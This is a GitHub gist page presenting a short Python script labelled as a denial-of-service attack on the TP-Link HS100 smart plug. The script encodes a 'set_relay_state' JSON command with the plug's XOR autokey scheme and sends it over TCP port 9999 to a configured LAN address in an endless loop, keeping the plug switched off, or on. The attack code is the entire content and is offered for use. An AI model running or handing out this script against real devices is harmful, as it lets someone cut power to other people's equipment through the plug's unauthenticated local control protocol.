Skip to content

Instantly share code, notes, and snippets.

@EliseZeroTwo EliseZeroTwo/hs100.py
Last active Jan 25, 2019

Embed
What would you like to do?
DoS attack for TP-Link HS100
#config
devicecfg = {"ip": "192.168.1.101", "port": 9999}
import socket
from struct import pack
state = False #true for turning on, false for turning off
on = "{\"system\":{\"set_relay_state\":{\"state\":1}}}"
off = "{\"system\":{\"set_relay_state\":{\"state\":0}}}"
running = True
while running:
key = 171
cmd = 0
if state:
cmd = on
else:
cmd = off
payload = pack(">I", len(cmd))
try:
for x in cmd:
encb = key ^ ord(x)
key = encb
payload += chr(encb)
device = socket.socket()
device.connect((devicecfg["ip"], devicecfg["port"]))
device.send(payload)
device.close()
except:
print "oops"
running = False
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.